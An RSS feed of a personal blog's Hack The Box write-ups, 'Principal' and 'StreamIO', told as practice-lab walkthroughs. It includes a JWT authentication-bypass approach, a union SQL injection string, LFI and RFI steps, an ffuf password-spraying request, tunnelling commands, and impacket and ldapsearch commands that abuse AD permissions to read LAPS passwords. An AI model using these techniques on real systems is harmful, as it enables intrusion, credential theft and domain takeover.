<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Jake&#39;s HTB Writeups</title>
    <link>https://blog.jjnetops.net/</link>
    <description></description>
    <pubDate>Wed, 27 May 2026 02:04:55 +0000</pubDate>
    <item>
      <title>Principal</title>
      <link>https://blog.jjnetops.net/principal</link>
      <description>&lt;![CDATA[Principal is a medium difficulty Linux box. The box involves a JWT exploitation to get authenticated access to API endpoints, which leads to remote access. With remote access, enumeration of the box shows there is a misconfiguration in a custom sshd config file and an unencrypted certificate authority that allows root access.&#xA;!--more--&#xA;Hello! It has been almost two months since I posted, due to me being busy with the HTB Academy and other things. Today we are talking about Principal; this box was pretty easy for the most part, although due to my lack of experience with certificates I did have to get some help on the last portion.&#xA;&#xA;Contents&#xA;Tools Used&#xA;nmap scan&#xA;JWT Exploitation&#xA;Privilege Escalation&#xA;Lessons Learned&#xA;&#xA;Tools Used&#xA;&#xA;nmap - Network mapping tool, used to enumerate a device.&#xA;ffuf - A web fuzzing tool to quickly enumerate websites using wordlists.&#xA;feroxbuster - A web content discovery tool. This is very similar to ffuf, not quite as flexible but it is faster.&#xA;hydra - A tool for brute-forcing password attempts through many different protocols.&#xA;BurpSuite CE - HTTP proxy with tools built in for penetration testing.&#xA;&#xA;nmap scan&#xA;&#xA;The initial nmap scan shows two TCP ports, port 22 and 8080. Port 22 shows that it is running OpenSSH 9.6p1 Ubuntu, and port 8080 reports a Jetty (http) instance with pac4j-jwt/6.0.3 as the &#34;Powered-By&#34; header.&#xA;&#xA;Upon accessing the website via IP, it immediately redirects to /login, and makes an API call to /api/auth/jwks which returns a RSA public key. The website looks like some kind of platform for managing IT operations that is aimed at corporate customers.&#xA;&#xA;I run feroxbuster, which enumerates a few URLs that either give a 500 error or do not lead anywhere. I look through the source code of the page and look at the /static/js/app.js script that is loaded, and it provides information about API endpoints. These endpoints are not accessible and show &#34;unauthenticated&#34; when attempting to reach them with no login.&#xA;&#xA;JWT Exploitation&#xA;&#xA;I search the version of pac4j-jwt and find that it is vulnerable to CVE-2026-29000, which is an authentication bypass vulnerability based on faulty programming logic. The vulnerability exists when an attacker provides a JWE (encrypted JSON Web Token) encrypted with the site&#39;s public key that has an inner PlainJWT (unsigned token), the server decrypts the token and does not enforce signature verification if the inner JWT is a PlainJWT.&#xA;&#xA;There is a PoC available from github user alihussainzada here. The PoC pulls the public key from /api/auth/jwks, creates a plain JWT with the desired role and username, encrypts it using the public key and provides the header needed to authenticate as the desired user.&#xA;&#xA;With the token provided by the server using the authentication bypass, I am able to send it as a header and authenticate to the API endpoints to enumeration some information. Since we are looking at API endpoints, you can add the header to a cURL request easily, but I end up just using Burp Suite to intercept my GET requests and insert the header into them that way.&#xA;&#xA;The /api/dashboard endpoint contains a list of login attempts, which we can grab usernames from, and some information such as rotation of SSH keys. I add the usernames to a usernameweb.list file for easy password spraying.&#xA;&#xA;The /api/users endpoint has a list of all users and their roles. Some interesting things to note here is the service account svc-deploy with the role deployer that contains the note &#34;Service account for automated deployments via SSH certificate auth.&#34;, and that the domain is principal-corp.local.&#xA;&#xA;Finally, the /api/settings endpoint contains information about the system itself and the encryption key being used. My initial thought is to try to authenticate as the svc-deploy account using the same PoC we just used and see if we can assign SSH keys. I don&#39;t attempt to login as svc-deploy after checking /static/js/app.js and seeing there is no role for deployer, so it has no additional access that my ROLEADMIN has with the current token. In a &#34;real&#34; environment this might have been a means of access by generating SSH keys but here it seems like that part is not developed. I add the password to a passwordsweb.list file for easy password spraying.&#xA;&#xA;I suspect svc-deploy has the same password as the encryption key, but to be thorough I run hydra against SSH using the full list of usernames I scraped from the API endpoints. svc-deploy comes back as having the password that is the same as their encryption password.&#xA;&#xA;The credentials work, and we get in via SSH. The next step is enumeration of the box and looking for privilege escalation pathways.&#xA;&#xA;Privilege Escalation&#xA;&#xA;A few things come up during user enumeration:&#xA;&#x9;svc-deploy is part of the deployers group, which we need to enumerate now.&#xA;&#x9;There are no other users on the box, so we&#39;re not looking to move laterally.&#xA;&#x9;The svc-deploy user does not have any sudo privileges.&#xA;&#xA;I see the pieces, but my inexperience with certificates causes me to have to look up how I can use these misconfigurations for privilege escalation. &#xA;&#xA;First, I&#39;ll lay out the critical pieces that you would enumerate:&#xA;&#x9;Viewing 60-principal.conf sshd config shows that root logon is set to prohibit-password, which means we can login using a certificate as root.&#xA;&#x9;I did not notice this but it is mentioned elsewhere, TrustedUserCAKeys is set without an AuthorizedPrincipalsFile. This means that any certificate signed by the trusted CA is accepted, and that the principal listed in the certificate is matched against the username being logged into.&#xA;&#x9;We have read access to the ca file, which is the private key for the trusted CA.&#xA;&#xA;The escalation path looks like this:&#xA;&#xA;&#x9;Generate a new certificate.&#xA;&#x9;Sign the certificate using the CA&#39;s private key, which we have read access to.&#xA;&#x9;During signing, specify the principal on the certificate as root.&#xA;&#xA;With the certificate signed, we can use it to SSH to the box as root and grab the flag.&#xA;&#xA;Lessons Learned&#xA;&#xA;This box was very short but felt fun and taught me more about JSON Web Tokens, certificates, and more about how to use openssl. I&#39;m slightly embarrassed I had to look up that I needed to generate and sign certificates using the CA, but that is what learning is about and being embarrassed about that kind of stuff will only hold you back.]]&gt;</description>
      <content:encoded><![CDATA[<p>Principal is a medium difficulty Linux box. The box involves a JWT exploitation to get authenticated access to API endpoints, which leads to remote access. With remote access, enumeration of the box shows there is a misconfiguration in a custom <code>sshd</code> config file and an unencrypted certificate authority that allows <code>root</code> access.

Hello! It has been almost two months since I posted, due to me being busy with the HTB Academy and other things. Today we are talking about Principal; this box was pretty easy for the most part, although due to my lack of experience with certificates I did have to get some help on the last portion.</p>

<h2 id="contents">Contents</h2>
<ul><li><a href="#tools-used">Tools Used</a></li>
<li><a href="#nmap-scan">nmap scan</a></li>
<li><a href="#jwt-exploitation">JWT Exploitation</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
<li><a href="#lessons-learned">Lessons Learned</a></li></ul>

<h2 id="tools-used">Tools Used</h2>

<p><a href="https://nmap.org">nmap</a> – Network mapping tool, used to enumerate a device.
<a href="https://github.com/ffuf/ffuf">ffuf</a> – A web fuzzing tool to quickly enumerate websites using wordlists.
<a href="https://github.com/epi052/feroxbuster">feroxbuster</a> – A web content discovery tool. This is very similar to <code>ffuf</code>, not quite as flexible but it is faster.
<a href="https://www.kali.org/tools/hydra/">hydra</a> – A tool for brute-forcing password attempts through many different protocols.
<a href="https://portswigger.net/burp/communitydownload">BurpSuite CE</a> – HTTP proxy with tools built in for penetration testing.</p>

<h2 id="nmap-scan">nmap scan</h2>

<p>The initial <code>nmap</code> scan shows two TCP ports, port <code>22</code> and <code>8080</code>. Port <code>22</code> shows that it is running <code>OpenSSH 9.6p1 Ubuntu</code>, and port <code>8080</code> reports a Jetty (http) instance with <code>pac4j-jwt/6.0.3</code> as the “Powered-By” header.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1779542545/Pasted_image_20260521020934_rh6gve.png" alt=""></p>

<p>Upon accessing the website via IP, it immediately redirects to <code>/login</code>, and makes an API call to <code>/api/auth/jwks</code> which returns a RSA public key. The website looks like some kind of platform for managing IT operations that is aimed at corporate customers.</p>

<p>I run <code>feroxbuster</code>, which enumerates a few URLs that either give a <code>500</code> error or do not lead anywhere. I look through the source code of the page and look at the <code>/static/js/app.js</code> script that is loaded, and it provides information about API endpoints. These endpoints are not accessible and show “unauthenticated” when attempting to reach them with no login.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1779542545/Pasted_image_20260521042105_qodija.png" alt=""></p>

<h2 id="jwt-exploitation">JWT Exploitation</h2>

<p>I search the version of <code>pac4j-jwt</code> and find that it is vulnerable to <code>CVE-2026-29000</code>, which is an authentication bypass vulnerability based on faulty programming logic. The vulnerability exists when an attacker provides a JWE (encrypted JSON Web Token) encrypted with the site&#39;s public key that has an inner PlainJWT (unsigned token), the server decrypts the token and does not enforce signature verification if the inner JWT is a PlainJWT.</p>

<p>There is a PoC available from github user <code>alihussainzada</code> <a href="https://github.com/alihussainzada/CVE-2026-29000-Python-PoC-pac4j-JWT-AuthenticationBypass-Poc">here</a>. The PoC pulls the public key from <code>/api/auth/jwks</code>, creates a plain JWT with the desired role and username, encrypts it using the public key and provides the header needed to authenticate as the desired user.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1779542545/Pasted_image_20260521040044_kzjl3i.png" alt=""></p>

<p>With the token provided by the server using the authentication bypass, I am able to send it as a header and authenticate to the API endpoints to enumeration some information. Since we are looking at API endpoints, you can add the header to a <code>cURL</code> request easily, but I end up just using <code>Burp Suite</code> to intercept my GET requests and insert the header into them that way.</p>

<p>The <code>/api/dashboard</code> endpoint contains a list of login attempts, which we can grab usernames from, and some information such as rotation of SSH keys. I add the usernames to a <code>username_web.list</code> file for easy password spraying.</p>

<p>The <code>/api/users</code> endpoint has a list of all users and their roles. Some interesting things to note here is the service account <code>svc-deploy</code> with the role <code>deployer</code> that contains the note “Service account for automated deployments via SSH certificate auth.”, and that the domain is <code>principal-corp.local</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1779542545/Pasted_image_20260521105749_orclfv.png" alt=""></p>

<p>Finally, the <code>/api/settings</code> endpoint contains information about the system itself and the encryption key being used. My initial thought is to try to authenticate as the <code>svc-deploy</code> account using the same PoC we just used and see if we can assign SSH keys. I don&#39;t attempt to login as <code>svc-deploy</code> after checking <code>/static/js/app.js</code> and seeing there is no role for <code>deployer</code>, so it has no additional access that my <code>ROLE_ADMIN</code> has with the current token. In a “real” environment this might have been a means of access by generating SSH keys but here it seems like that part is not developed. I add the password to a <code>passwords_web.list</code> file for easy password spraying.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1779542545/Pasted_image_20260521042624_bfjg46.png" alt=""></p>

<p>I suspect <code>svc-deploy</code> has the same password as the encryption key, but to be thorough I run <code>hydra</code> against SSH using the full list of usernames I scraped from the API endpoints. <code>svc-deploy</code> comes back as having the password that is the same as their encryption password.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1779542545/Pasted_image_20260521110450_gej0b5.png" alt=""></p>

<p>The credentials work, and we get in via SSH. The next step is enumeration of the box and looking for privilege escalation pathways.</p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>A few things come up during user enumeration:
    1. <code>svc-deploy</code> is part of the <code>deployers</code> group, which we need to enumerate now.
    2. There are no other users on the box, so we&#39;re not looking to move laterally.
    3. The <code>svc-deploy</code> user does not have any <code>sudo</code> privileges.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1779542545/Pasted_image_20260521112554_g0fs7k.png" alt=""></p>

<p>I see the pieces, but my inexperience with certificates causes me to have to look up how I can use these misconfigurations for privilege escalation.</p>

<p>First, I&#39;ll lay out the critical pieces that you would enumerate:
    1. Viewing <code>60-principal.conf</code> <code>sshd</code> config shows that root logon is set to <code>prohibit-password</code>, which means we can login using a certificate as <code>root</code>.
    2. I did not notice this but it is mentioned elsewhere, <code>TrustedUserCAKeys</code> is set without an <code>AuthorizedPrincipalsFile</code>. This means that any certificate signed by the trusted CA is accepted, and that the principal listed in the certificate is matched against the username being logged into.
    3. We have read access to the <code>ca</code> file, which is the private key for the trusted CA.</p>

<p>The escalation path looks like this:</p>

<p>    1. Generate a new certificate.
    2. Sign the certificate using the CA&#39;s private key, which we have read access to.
    3. During signing, specify the principal on the certificate as <code>root</code>.</p>

<p>With the certificate signed, we can use it to SSH to the box as <code>root</code> and grab the flag.</p>

<h2 id="lessons-learned">Lessons Learned</h2>

<p>This box was very short but felt fun and taught me more about JSON Web Tokens, certificates, and more about how to use <code>openssl</code>. I&#39;m slightly embarrassed I had to look up that I needed to generate and sign certificates using the CA, but that is what learning is about and being embarrassed about that kind of stuff will only hold you back.</p>
]]></content:encoded>
      <guid>https://blog.jjnetops.net/principal</guid>
      <pubDate>Sat, 23 May 2026 14:10:36 +0000</pubDate>
    </item>
    <item>
      <title>StreamIO</title>
      <link>https://blog.jjnetops.net/streamio</link>
      <description>&lt;![CDATA[StreamIO is a medium difficulty Windows box. The box involves several web attacks (SQLi, LFI, RFI), MS-SQL database enumeration, credential harvesting, and DACL abuse to get privilege escalation.&#xA;!--more--&#xA;This box was very difficult for me, especially the web attack portion. I have done some of the Web Penetration Tester HTB Academy modules, but this was before I was attempting to keep more detailed notes so most of the techniques I have forgotten due to not using them for several months. Overall, I&#39;m very happy with this box, and I believe I have learned a lot here. In addition, I&#39;m changing these write-ups just a bit in an effort to give better information. I&#39;ll be trying to include most commands, as command snippets, that made significant progress or breakthroughs. If I put (...) in a command, I&#39;m indicating that I&#39;m truncating the command to keep it legible.&#xA;&#xA;A note on the box for anyone doing it: I was consistently having issues with the HTTPS service that required restarting the box multiple times. Getting a shell through RFI typically meant the service would not respond anymore after the shell was closed.&#xA;&#xA;Contents&#xA;Tools Used&#xA;nmap scan&#xA;Web Attacks&#xA;Initial Access&#xA;ligolo-ng setup and usage&#xA;Lateral Movement&#xA;Privilege Escalation&#xA;Lessons Learned&#xA;&#xA;Tools Used&#xA;&#xA;nmap - Network mapping tool, used to enumerate a device.&#xA;evil-winrm - A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent.&#xA;impacket - A collection of tools, although I specifically used owneredit, mssqlclient, and dacledit. These tools allow you to interact with a Windows domain from a Linux box.&#xA;hashcat - Hash cracking program.&#xA;dsacls) - A program native to Windows for enumerating AD ACLs.&#xA;netcat - Network utility that has many uses. For this box, I use it to test if ports are open when I don&#39;t want to wait for an nmap scan.&#xA;ffuf - A web fuzzing tool to quickly enumerate websites using wordlists.&#xA;Dsquery) - A command line tool on Windows for enumerating AD, it produces a lot of good information without requiring the AD module for PowerShell.&#xA;SQLmap - An automated SQL injection tool, while this didn&#39;t work for me in this box because it was custom MSSQL queries, I think with some knowledge of the program it could have done it.&#xA;hashid - A program for identifying hashes, can output to formats for JohnTheRipper or hashcat.&#xA;BurpSuite CE - HTTP proxy with tools built in for penetration testing. &#xA;Netexec - Replacement for crackmapexec, its the Swiss army knife of Windows tools.&#xA;&#xA;nmap scan&#xA;&#xA;This box has typical Windows DC ports for LDAP, RPC, Kerberos, etc. The interesting ports I can see are port 80 and 443, as it seems a website is hosted on this box. I quickly check if the guest account or null sessions are enabled and neither is working, so I believe my only option for enumerating the domain right now is to look for access or credentials on the website.&#xA;&#xA;When navigating to the website, I&#39;m prompted to accept the certificate. Looking over the certificate, I can see two DNS names on here. The one reported by nmap, streamio.htb, and another, watch.streamio.htb. I add both of these to my /etc/hosts file and continue browsing the website.&#xA;&#xA;Web Attacks&#xA;&#xA;The first site, streamio.htb, is an online movie streaming site with not much going on. I test some of the forms for inject-ability, and fuzz using ffuf, but don&#39;t get anywhere. There is a &#34;login&#34; and &#34;register&#34; option, but creating an account doesn&#39;t seem to do anything, and some quick attempts at default credentials don&#39;t hit anything.&#xA;&#xA;The second site, watch.streamio.htb, looks like its still the same type of site, and I don&#39;t find much else here. I&#39;ll note here that I didn&#39;t try fuzzing the second site, which I should have.&#xA;&#xA;I have not done much website penetration testing since I made some changing to my approach to penetration testing, so this makes me nervous. I don&#39;t have much in the way of notes or procedures for doing this. I make some vain attempts at finding information or ways in and don&#39;t come up with anything.&#xA;&#xA;I check the guided mode for the box, and one of the questions ask &#34;What PHP page in /admin/ says it&#39;s &#34;Only accessible through includes&#34;?&#34;. I did not enumerate the /admin/ directory, and this has me thinking that I should be running two wordlists while fuzzing, but that seems excessive, so I&#39;ll have to rethink how I should have enumerated that. I enumerate the /admin/ directory and find index.php and master.php. index.php gives a &#34;403 Forbidden&#34; error, and the master.php page states that it&#39;s only accessible through includes. So, it seems like we need to find some kind of LFI here to be able to use the master.php file.&#xA;&#xA;I get stuck again while trying to find an LFI or credentials, so again, I check the guide.  The guide asks &#34;What PHP page is vulnerable to SQL injection?&#34;. I run ffuf against both watch.streamio.htb and streamio.htb, and both search.php and blocked.php comes up as a page on watch.streamio.htb. This was a major misstep when I was enumerating before, had I found these sites I likely would have not had to check the guide. A search page seems like the perfect place for a SQL injection, so having forgotten everything about SQL injection, I put SQLMap on it. I try this for a while and don&#39;t end up getting anywhere, its clear that the injection is here, but I cannot enumerate it. I try using some SQLi cheat sheets to help discover it but I am not successful.&#xA;&#xA;For fuzzing, I use the DirBuster 2.3 medium directory list. Its important when fuzzing for web pages to keep in mind what their extension may be. You can have a wordlist that has the right word, but if you don&#39;t have the right extension you may not hit it.&#xA;&#xA;ffuf -w (...)DirBuster-2007directory-list-2.3-medium.txt -u &#34;https://watch.streamio.htb/FUZZ.php&#34;&#xA;&#xA;SQLmap does not detect any inject-ability, which is confusing for me as this seems like the perfect place for. I try messing with the settings on SQLmap for an hour or two and don&#39;t get anywhere. At this point, I need to check the walk-through because I am hard stuck, and I know this page is the injection site because it is the answer to the guide question.&#xA;&#xA;The walk-through tells me that the injection is here, but SQLmap will fail because it is a custom MSSQL instance. It gives me a string to get started injecting and I set off on enumerating the database.&#xA;&#xA;10&#39; union select 1,@@version,3,4,5,6-- -&#xA;With minor edits to this snippet, you can query the information you need to enumerate the database and its tables.&#xA;&#xA;This is the format of the injection, it starts with a valid search string (10), uses a &#39; to end the string, then uses &#34;union select&#34; SQL commands to grab information, and ends with comment characters to comment out the rest of the query. Since there are six columns in this database, we need to supply information for each (1 for column 1, @@version for column 2, etc.).&#xA;&#xA;I follow along the walk-through for the SQL injection portion, having not recorded anything when I was initially studying it several months ago. I am kicking myself this whole time, because I have done the module on SQL injection but can&#39;t remember anything about the methodology.&#xA;&#xA;Finally, we dump a table called &#39;users&#39; that contains usernames and hashed credentials. The hashes are not very long, and a quick check with hashid shows that they are likely MD5.&#xA;&#xA;I run all the hashes through hashcat, and while some do not get cracked, many do. I use the list of usernames and cracked passwords and run them through ffuf to attempt logins on the streamio.htb login portal. One set of credentials works for user yoshihide!&#xA;&#xA;I used the -request switch on ffuf to do the password spraying. The -request switch takes a file that contains the format of the request, which I grabbed from BurpSuite, and uses all of those headers and POST data.&#xA;&#xA;My fuzz.req file looked like this:&#xA;&#xA;POST /login.php HTTP/2&#xA;Host: streamio.htb&#xA;Cookie: PHPSESSID=eemhbc5g41fn9sig50gdhqssgc&#xA;User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:140.0) Gecko/20100101 Firefox/140.0&#xA;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8&#xA;Accept-Language: en-US,en;q=0.5&#xA;Accept-Encoding: gzip, deflate, br&#xA;Content-Type: application/x-www-form-urlencoded&#xA;Content-Length: 32&#xA;Origin: https://streamio.htb&#xA;Referer: https://streamio.htb/login.php&#xA;Upgrade-Insecure-Requests: 1&#xA;Sec-Fetch-Dest: document&#xA;Sec-Fetch-Mode: navigate&#xA;Sec-Fetch-Site: same-origin&#xA;Sec-Fetch-User: ?1&#xA;Priority: u=0, i&#xA;Te: trailers&#xA;&#xA;username=USER&amp;password=PASSWORD&#xA;&#xA;While the ffuf command to utilize it looked like this:&#xA;&#xA;ffuf -request fuzz.req -w userdbusernames.list:USER -w userdbpasswords.list:PASSWORD -fs 4207&#xA;This -fs 4207 in this command is to filter out pages with a size of 4207, which was the size of any request that was unsuccessful.&#xA;&#xA;With a user account, I check if I can authenticate to the domain, which I can&#39;t. I check the index.php page that sits in the /admin/ directory and find an Admin panel, that contains some functions for managing the database and users.&#xA;&#xA;I try seeing if I can do some XSS in the &#34;Leave a message for admin&#34;, but I can&#39;t find any entry points or LFIs.&#xA;&#xA;I check the guide again, and it states I should be looking for an additional page in the form of a parameter. I fuzz the parameters on the page and debug comes up as a parameter that accepts input. Having just done some LFI training (and taking notes this time!) I start testing this parameter and find the LFI I&#39;m looking for. I can read files on the machine itself, and I start trying to read the index.php and master.php, but neither is displaying correctly. I use the PHP filter php://filter/read=convert.base64-encode/resource= to grab the files as base64 encoded strings, then decode them and read the files. If I had not done the file inclusion module right before this, I would for sure not have found this. After reading the master.php file, we see at the end of it that there is an evaluation being done on filegetcontents, which seems like a way to get an RCE.&#xA;&#xA;I see in the code that there is a parameter, include, that needs to be set to access the eval(filegetcontents). So I need to load the file outside of a direct read, which I can do through the LFI, then pass the include parameter with a path to a file to get evaluated.&#xA;&#xA;I get stuck here trying to form the POST request and have to check the walkthrough, and I was close but not quite there, plus my file was a webshell which was not going to work for the evaluate statement. This request is an RFI instead of a LFI. The remote file is a PHP system() call that gives me remote code execution.&#xA;&#xA;With the request formed, I generate a PowerShell reverse shell from revshells.com and get remote access.&#xA;&#xA;Initial Access&#xA;&#xA;The webserver is running under user yoshihide, who is a low privilege domain user.  I enumerate the computer, which has the hostname DC.streamIO.htb, and the domain it hosts.&#xA;&#xA;While enumerating I find some credentials for a MSSQL database in the PHP files. I double check the nmap output and scan again, and it is not accessible from a remote connection, so I&#39;ll need to do some port forwarding to get connected to it. &#xA;&#xA;I find these credentials through using findstr, a command line command that will search file contents for a specific string. The command I used that got a hit on this file was:&#xA;&#xA;findstr /s /i admin C:\inetpub\.&#xA;In this command I&#39;m searching every file in C:\inetpub\ recursively for &#34;admin&#34; in its contents. This can produce a lot of output, but at least its easier to parse. The /s specifies the directory and all subdirectories, while the /i makes the search case insensitive.&#xA;&#xA;So the challenge here is that this MSSQL database is only listening on a local port that is not accessible from our remote host. I can either interact with the SQL server through a PowerShell module or create a tunnel to have my network traffic be directed to the localhost port. I opt for the tunnel using ligolo-ng.&#xA;&#xA;ligolo-ng setup and usage&#xA;&#xA;ligolo-ng is a great method of tunneling to pivot to an internal network or hit resources that you typically would not be able to. Its very easy to setup, and does not have the same limitations that a SOCKS proxy does with regards to ICMP and TCP open scans because the traffic is being routed over IP instead of being port forwarded.&#xA;&#xA;First, we need to download a proxy file that corresponds with the operating system and CPU architecture of our attack box. The proxy file that acts as the server requires elevated privileges. Next, we need to download an agent file that corresponds with the operating system and CPU architecture of our target box. In my case, my attack host is linux amd64, and the target is Windows amd64.&#xA;&#xA;On the attack box, unzip the proxy file you downloaded and run it with sudo or elevated privileges. By default, the program will attempt to get a certificate from LetsEncrypt, so I use the switch -selfcert so that it generates a self-signed certificate for use.&#xA;&#xA;sudo ./proxy -selfcert&#xA;&#xA;In the interactive console for the program, create a tunnel that will be the virtual network adapter that is used to transfer data. In my example, I name this tunnel &#34;wintun&#34;. Make sure this does not conflict with any other adapters you have. After creating this interface, run the command certificatefingerprint to get a string you can pass for the connection.&#xA;&#xA;interfacecreate --name &#34;wintun&#34;&#xA;certificatefingerprint&#xA;&#xA;Transfer the agent file to the target box, unzip the file, and run the agent file with the correct parameters. The -connect argument will be the IP of your attack box that is reachable from the target host along with the default port that ligolo-ng uses, 11601, and the -accept-fingerprint argument will be the string you copied before.&#xA;&#xA;.\agent.exe -connect 10.10.15.200:11601 -v -accept-fingerprint fingerprint&#xA;&#xA;You should see the session start on your attack host that is running the proxy file. Now we need to select the session and start the tunnel. Type session in the console and select 1 if this is the first connection to the proxy, which it likely is. With the session started, we can start the tunnel with the tunnelstart command.&#xA;&#xA;session&#xA;1&#xA;tunnelstart --tun wintun&#xA;&#xA;Normally, you could add routing to other subnets after this; for example, if the internal network was 172.16.10.0/24, we could add the route with the following command:&#xA;&#xA;interfaceaddroute --name wintun --route 172.16.10.0/24&#xA;&#xA;But in our case we want to hit the localhost ports on the target host. To do this, ligolo-ng has a special route that you add for the IP 240.0.0.1/32. We can add this route in the same manner with the following command:&#xA;&#xA;interfaceaddroute --name wintun --route 240.0.0.1/32&#xA;Now, whenever we direct our tools at the IP 240.0.0.1, it will reach out on the localhost on whatever port is specified by the program.&#xA;&#xA;Getting back to the box, after installing ligolo-ng and getting it setup, I use impacket-mssqlclient to connect to the MSSQL instance on the target host.&#xA;&#xA;The dbuser account only has access to the same database that we already enumerated, but the dbadmin account has access to a backup that contains a similar users table with usernames and hashes.&#xA;&#xA;After cracking the hashes, one of the credentials for user nikk37 works for domain authentication and allows remote access.&#xA;&#xA;The nikk37 user does not have many permissions over anything, so I know I need to move laterally. During DACL enumeration I see that the user JDgodd has CHANGE OWNERSHIP over the CORE STAFF group, and when I check what permissions CORE STAFF have, using PowerView, I see they can read LAPS passwords so I know that is my path to escalation.&#xA;&#xA;Lateral Movement&#xA;&#xA;I do a fiindstr for JDgodd and see a hit in the Firefox profiles section. I use firefox-decrypt to extract the data from the files, but since the device does not have Python installed, I zip the archive and move it to my attack box for decrypting.&#xA;&#xA;findstr /s /i JDgodd C:\.&#xA;&#xA;After decrypting the data, I get passwords for a few users. I add these users and passwords to my username.list and password.list and spray, and it turns out that the JDgodd user&#39;s password is the same for their Windows authentication, perfect!&#xA;&#xA;The JDgodd user does not have the Remote Management Users group, so I cannot login via Evil-WinRM. I try using runas, but it is denied. In order to make the changes we have a few options, I briefly try ldapmodify, but I cannot get it to function as I want, so I opt for the impacket scripts.&#xA;&#xA;I use impacket-owneredit to change ownership of the CORE STAFF group to the JDgodd user.&#xA;&#xA;impacket-owneredit -action write -new-owner &#39;JDgodd&#39; -target-dn &#39;CN=CORE STAFF,CN=Users,DC=streamio,DC=htb&#39; &#39;streamio.htb&#39;/&#39;JDgodd&#39;:&#39;password&#39; -dc-ip 10.129.20.20&#xA;&#xA;With ownership over the group, we can add and remove rights over the group to other users. I assign the WriteMembers right to JDgodd.&#xA;&#xA;impacket-dacledit -action &#39;write&#39; -rights &#39;WriteMembers&#39; -principal &#39;JDgodd&#39; -target-dn &#39;CN=CORE STAFF,CN=Users,DC=streamio,DC=htb&#39; &#39;streamio.htb&#39;/&#39;JDgodd&#39;:&#39;password&#39; -dc-ip 10.129.20.20&#xA;&#xA;Finally, I run net rpc to add the user JDgodd to the group. This gives JDgodd access to read LAPS passwords. I use ldapsearch to run the query and the LAPS password for the DC is provided.&#xA;&#xA;net rpc group addmem &#34;CORE STAFF&#34; JDgodd -U streamio.htb/JDgodd%&#39;password&#39; -S 10.129.20.20&#xA;&#xA;ldapsearch -x -H ldap://10.129.20.20 -D &#39;JDgodd@streamio.htb&#39; -w &#39;password&#39; -b &#34;DC=streamio,DC=htb&#34; &#34;(ms-MCS-AdmPwd=*)&#34; ms-MCS-AdmPwd ms-MCS-AdmPwdExpirationTime dNSHostName&#xA;&#xA;We can also use netexec for this, we just need to specify the laps module.&#xA;&#xA;(The passwords are different because I restarted the machine to show the ldapsearch method.)&#xA;&#xA;Privilege Escalation&#xA;&#xA;With this password, we can access the device as Administrator.&#xA;&#xA;I use this access to get to the Desktop of the Martin user, who is a Domain Administrator, where the root.txt flag is.&#xA;&#xA;In a real environment, we&#39;d further escalate by dumping the SAM and get the Martin user&#39;s credentials for control over the domain.&#xA;&#xA;Lessons Learned&#xA;&#xA;I struggled a lot with the web attack portion of this, I definitely need to review and note enumeration and attack techniques for web vulnerabilities. It has made me realize how far I have come and my change in approach. The Windows AD portion was pretty normal, nothing significantly challenging, but I have a decent amount of experience with it at this point and have clear goals and things to check off when I get an authenticated account. I&#39;m going to focus on more web attack boxes for the next few weeks to try to improve that portion of my skills.&#xA;&#xA;Thanks for reading!]]&gt;</description>
      <content:encoded><![CDATA[<p>StreamIO is a medium difficulty Windows box. The box involves several web attacks (SQLi, LFI, RFI), MS-SQL database enumeration, credential harvesting, and DACL abuse to get privilege escalation.

This box was very difficult for me, especially the web attack portion. I have done some of the Web Penetration Tester HTB Academy modules, but this was before I was attempting to keep more detailed notes so most of the techniques I have forgotten due to not using them for several months. Overall, I&#39;m very happy with this box, and I believe I have learned a lot here. In addition, I&#39;m changing these write-ups just a bit in an effort to give better information. I&#39;ll be trying to include most commands, as command snippets, that made significant progress or breakthroughs. If I put (...) in a command, I&#39;m indicating that I&#39;m truncating the command to keep it legible.</p>

<p>A note on the box for anyone doing it: I was consistently having issues with the HTTPS service that required restarting the box multiple times. Getting a shell through RFI typically meant the service would not respond anymore after the shell was closed.</p>

<h2 id="contents">Contents</h2>
<ul><li><a href="#tools-used">Tools Used</a></li>
<li><a href="#nmap-scan">nmap scan</a></li>
<li><a href="#web-attacks">Web Attacks</a></li>
<li><a href="#initial-access">Initial Access</a></li>
<li><a href="#ligolo-ng-setup-and-usage">ligolo-ng setup and usage</a></li>
<li><a href="#lateral-movement">Lateral Movement</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
<li><a href="#lessons-learned">Lessons Learned</a></li></ul>

<h2 id="tools-used">Tools Used</h2>

<p><a href="https://nmap.org">nmap</a> – Network mapping tool, used to enumerate a device.
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> – A shell to interact with the WinRM protocol originally, but now works with PSRP, the <code>PowerShell</code> equivalent.
<a href="https://github.com/fortra/impacket">impacket</a> – A collection of tools, although I specifically used <code>owneredit</code>, <code>mssqlclient</code>, and <code>dacledit</code>. These tools allow you to interact with a Windows domain from a Linux box.
<a href="https://hashcat.net/hashcat/">hashcat</a> – Hash cracking program.
<a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771151(v=ws.11)">dsacls</a> – A program native to Windows for enumerating AD ACLs.
<a href="https://netcat.sourceforge.net/">netcat</a> – Network utility that has many uses. For this box, I use it to test if ports are open when I don&#39;t want to wait for an <code>nmap</code> scan.
<a href="https://github.com/ffuf/ffuf">ffuf</a> – A web fuzzing tool to quickly enumerate websites using wordlists.
<a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732952(v=ws.11)">Dsquery</a> – A command line tool on Windows for enumerating AD, it produces a lot of good information without requiring the AD module for <code>PowerShell</code>.
